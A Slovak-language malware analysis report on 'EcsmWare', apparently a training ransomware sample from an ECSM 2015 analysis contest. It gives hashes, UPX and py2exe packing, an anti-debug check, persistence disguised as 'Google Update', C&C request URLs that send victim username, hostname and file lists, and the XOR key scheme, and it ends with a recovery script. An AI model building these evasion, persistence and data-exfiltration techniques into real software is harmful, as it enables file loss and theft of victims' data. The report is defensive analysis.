Report z analýzy vzorky potenciálne škodlivého softvéru

Základné údaje

Názov súboru:	ecsmware.exe
Veľkosť súboru:	3322993 b
Typ súboru:	PE32 executable (console) Intel 80386, for MS Windows, UPX compressed
MD5:	6611bc7ae2b7f7c89b6feff5555fe8c9
SHA1:	0b7ad789b13ed081a0cb8b801a4b5f11640c3706
SHA256:	980eefbc24b1e12cc958f879eeb88b274875b3a0528344372773e9dce724d09f
SSDeep:	49152:PX2ui0zZXWmbK5grdBUmfuLUkAKu9QJ4oNXbCijzzza0rxDkLP00WhDq1:PXZPAgZWmfnkA9QJ4oBCIpdDGPTsG
Pôvod vzorky:	Súťaž v analýze malware pri príležitosti ECSM 2015
Dátum zachytenia vzorky:	20.10.2015
Dátum vykonania analýzy:	23.11.2015
Spôsob vykonanej analýzy:	Úplná, statická, dynamická
Postihnuté systémy:	
Detekcia antivírmi:	3/56 VirusTotal k 2015-11-15 21:47:16
ESET NOD32	
Kaspersky	
Microsoft	
Symantec	
Tagy:	Ransomware, Crypter, Downloader, ECSM

Podrobnosti špecifické typu súboru

(Exiftool)

FileType	Win32 EXE
MIMEType	application/octet-stream
MachineType	Intel 386 or later, and compatibles
TimeStamp	2008:11:10 10:40:34+01:00
PEType	PE32
LinkerVersion	9.0
CodeSize	1089536
InitializedDataSize	4096
UninitializedDataSize	1413120
EntryPoint	0x263c20
OSVersion	5.0
ImageVersion	0.0
SubsystemVersion	5.0
Subsystem	Windows command line

Sekcie

Názov	Virtuálna adresa	Virtuálna veľkosť	Skutočná veľkosť	Entropia
UPX0	4096	1413120 b (56.37%)	0 b (0.0%)	0.0
UPX1	1417216	1089536 b (43.46%)	1089536 b (99.86%)	7.95
.rsrc	2506752	4096 b (0.16%)	1536 b (0.14%)	4.02

Importy (deklarované)

Modul	Počet symbolov
KERNEL32.DLL	6
MSVCR90.dll	1

Packer

- UPX, py2exe

Antidebug ochrana

- kontrola prerušení INT 3 (`0xCC`) používaných debuggovacími nástrojmi

AntiVM ochrana

- žiadna

Obfuskácia

- úprava reťazca v pamäti
- zmena názvu v sekcii .rsrc
- vlastný obfuskátor pre Python, úprava názvov premenných a funkcií a obfuskovanie reťazcov

Stručná charakteristika

Malvér šifrujúci kancelárske dokumenty a multimediálne súbory.

IOC

Vytvorené súbory

- `%USERPROFILE%\Desktop\EcsmWare\lipsum.doc`
- `%USERPROFILE%\Desktop\EcsmWare\SK_ECSM_logo.jpg`
- `%USERPROFILE%\Desktop\EcsmWare\anthem_eu.mp3`
- `%USERPROFILE%\Desktop\EcsmWare\*.ecsm`

Modifikované súbory

- súbory v adresári `%USERPROFILE%\Desktop\EcsmWare`, ktoré majú príponu
  `txt, doc, docx, xls, xlsx, ppt, pptx, pdf, jpg, JPG, mp3`

Zápis do registrov

- `HKCU\Software\Microsoft\EcsmWare` hodnota `Count`
- `HKCU\Software\Microsoft\Windows\Currentversion\Run` hodnota `Google Update`

Mutexy

(žiadne)

Injektované procesy

(žiadne)

Vytvorené procesy

(žiadne)

Sieťová komunikácia

- GET na https://www.google.com, https://www.facebook.com
- DNS dopyty (resp. HTTP GET) na 5 náhodných URL tvaru `[A-Z,a-z]{8,10}ecsm.eu`
- HTTP GET komunikácia s C&C serverom `ecsm.16mb.com` (31.170.165.190)
- User Agent: `Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.6.01001)`

Iné

- resource `QZUIPOTDSJQU`

Perzistencia/inštalácia

- automatické spustenie po prihlásení užívateľa ako `Google Update` pomocou `HKCU\Software\Microsoft\Windows\Currentversion\Run`

Odporúčania

Pravidelne zálohovať a zachovávať obozretnosť pri spúšťaní neznámych programov. (Analyzovaná vzorka užívateľa aj varuje pred škodlivou činnosťou.) Pôvodný obsah zašifrovaných súborov je možné získať pomocou nástrojov na obnovu zmazaných súborov, pomocou ShadowVolume kópií, alebo pomocou Python skriptu v prílohe tejto analýzy.

Stručná analýza

Vzorka predstavuje program napísaný v Pythone a zabalený pomocou py2exe a modifikovaného packera UPX. Vzorka po rozbalení a spustení pythonovského skriptu zistí, či beží prvýkrát.

Prvé spustenie Vzorka varuje používateľa, overí dostupnosť reálneho Internetu, zozbiera údaje o obeti a overí svoju integritu. Zabezpečí si perzistenciu, odošle C&C serveru info o obeti a stiahne tri súbory do adresára `EcsmWare`.

Ďalšie spustenia Vzorka zaspí na 30 sekúnd, overí dostupnosť reálneho Internetu, zozbiera údaje o obeti a C&C serverom overí svoju integritu. Následne vytvorí šifrované kópie súborov z adresára `%USERPROFILE%\Desktop\EcsmWare` (iba súborov s príponami uvedenými vyššie) a zmaže pôvodné súbory. Použité je jednoduché XORovacie šifrovanie s kľúčom vytvoreným na základe mena počítača a používateľa. Informuje C&C server o zašifrovaných súboroch

Podrobná analýza

- program napísaný v jazyku Python, obfuskovaný vlastným obfuskátorom a zabalený pomocou py2exe a modifikovaného UPX
- modifikované UPX:
  - spočíta počet bytov `0xCC` v okolí dešifrovacej rutiny UPX (kontrola `INT 3` prerušení používaných pri debuggovaní)
  - upraví názov resource `QZUIPOTDSJQU` na `PYTHONSCRIPT`
  - štandardné rozbalenie UPX
  - urobí sa reverz reťazca v resource `PYTHONSCRIPT` a skočí sa na začiatok programu vytvoreného pomocou py2exe
- spustenie Python programu (py2exe):
  - spustí sa skript `_app.py` (umiestnený v resource `PYTHONSCRIPT`), ktorý obsahuje obfuskovaný loader hlavnej funkcionality
  - `_app.py` obsahuje aj skrytú funkcionalitu, ktorá sa prejaví iba 1. deň v mesiaci (výpis varovania, že program by mohol zašifrovať všetky súbory)
  - hlavná funkcionalita je umiestnená v súbore `_ecsmware.pyc` v archíve `library.zip` *(py2exe prilepí archív `library.zip` s používanými Python modulmi za vygenerovaný `.exe` súbor)*
- hlavná funkcionalita (`_ecsmware.pyc`):
  - zistenie počtu predchádzajúcich spustení (hodnota `Count` v registri `HKCU\Software\Microsoft\EcsmWare`)
    - prvé spustenie: výpis varovania
    - ďalšie spustenia: sleep 30 sekúnd
  - viacero kontrol, po neúspešnej kontrole program skončí
  - kontrola dostupnosti "reálneho" Internetu pomocou FancyURLOpener (modifikovaný User Agent):
    - GET dopyt na https verzie stránok `google.com` a `facebook.com`
    - GET dopyty (resp. DNS dopyty) na 5 náhodne vygenerovaných URL tvaru `[A-Z,a-z]{8,10}ecsm.eu`, z ktorých môže najviac jedna fungovať (ochrana pred "simulovaným" Internetom)
  - zbieranie informácií o obeti:
    - meno používateľa
    - názov počítača
    - lokálna IP adresa:
      - nízkoúrovňové sieťové spojenie pomocou socketov na `www.google.com:443`
  - kontrola integrity:
    - používa HMAC s kľúčom `"ECSMwareSECRETpassword"` a hashom `sha1`
    - lokálne vypočítanie autentifikačného kódu správy pozostávajúcej z príležitostného slova *(nonce)*, časovej pečiatky a obsahu pôvodného `.exe` súboru
    - odoslanie príležitostného slova a časovej pečiatky C&C serveru, odpoveď serveru obsahuje HMAC

vypočítaný serverom
        - porovnanie lokálnej HMAC hodnoty a serverovej HMAC hodnoty
    - po úspešných kontrolách:
        - prvé spustenie:
            - perzistencia (autorun ako hodnota `Google Update` v `HKCU\Software\Microsoft\Windows\Currentversion\Run`)
            - vytvorenie adresára `%USERPROFILE%\Desktop\EcsmWare`
            - informovanie C&C servera s prázdnym `%LIST_OF_ENCRYPTED_FILES%` (viď nižšie)
            - stiahnutie troch (neškodných) súborov z C&C do vytvoreného adresára (ukážkový obsah, ktorý bude neskôr zašifrovaný)
            - zvýšenie počítadla `Count`
        - ďalšie spustenie:
            - zašifrovanie súborov v adresári `%USERPROFILE%\Desktop\EcsmWare` (iba súbory s vyššie uvedenými príponami):
                - jednoduchá XORovacia šifra
                - kľúč `sha256(EcsmWare+%HOSTNAME%+%USERNAME%)`
                - vytvorí sa súbor `%FILENAME%.ecsm` so zašifrovaným obsahom súbora `%FILENAME%`
                - odstráni sa súbor `%FILENAME%`
            - informovanie C&C servera
            - zvýšenie počítadla `Count`
            - výpis varovania o zašifrovaní
    - koniec
- komunikácia s C&C serverom:
    - kontrola integrity:
        - dopyt: `%CC%/control.php?action=hmac&n=%NONCE%&t=%TIMESTAMP%`
        - odpoveď: serverom vypočítaný `HMAC("ECSMwareSECRETpassword", %NONCE% + %TIMESTAMP% + data(ecsmware.exe))`
    - informovanie:
        - dopyt: `%CC%/control.php?action=info&value=BASE64("%USERNAME%;%HOSTNAME%;%LOCAL_IP%;%COUNT%;%LIST_OF_ENCRYPTED_FILES%")`
        - odpoveď: ignorovaná
    - sťahovanie súborov:
        - dopyt: `%CC%/data/%FILENAME%`
        - odpoveď: obsah súboru

Poznámky

- na extrakciu `PYTHONSCRIPT` je možné použiť vhodný resource editor alebo Py2Exe Binary Editor
- na extrakciu `library.zip` je možné použiť Py2Exe Binary Editor
- na extrakciu `pyc` súborov z `PYTHONSCRIPT` je možné použiť Python modul `marshal` *(ukážky použitia aj funkčné skripty na extrakciu sú dostupné na internete)*
- na dekompiláciu `pyc` súborov je možné použiť napr. Easy Python Decompiler
- na deobfuskáciu názvov premenných a funkcií je vhodné použiť editor (IDE) s podporou pre refactoring (alebo aspoň pre premenovanie názvov)

Skript na dešifrovanie

```
from os import remove, chdir, listdir
from os.path import splitext, expanduser
from itertools import izip, cycle
from hashlib import sha256
from socket import gethostname
from getpass import getuser

ecsmware_desktop = expanduser('~\Desktop\EcsmWare')
password = 'EcsmWare' + gethostname() + getuser()
key = sha256(password).digest()
chdir(ecsmware_desktop)
for dirfile in listdir(ecsmware_desktop):
    filename, fileext = splitext(dirfile)
    if fileext == '.ecsm':
        with open(dirfile, 'rb') as encfile:
            with open(filename, 'wb') as plainfile:
                ciphertext = encfile.read()
                plaintext =  ''.join([chr(ord(a) ^ ord(b)) for a, b in izip(ciphertext, cycle(key))])
                plainfile.write(plaintext)
        remove(dirfile)
```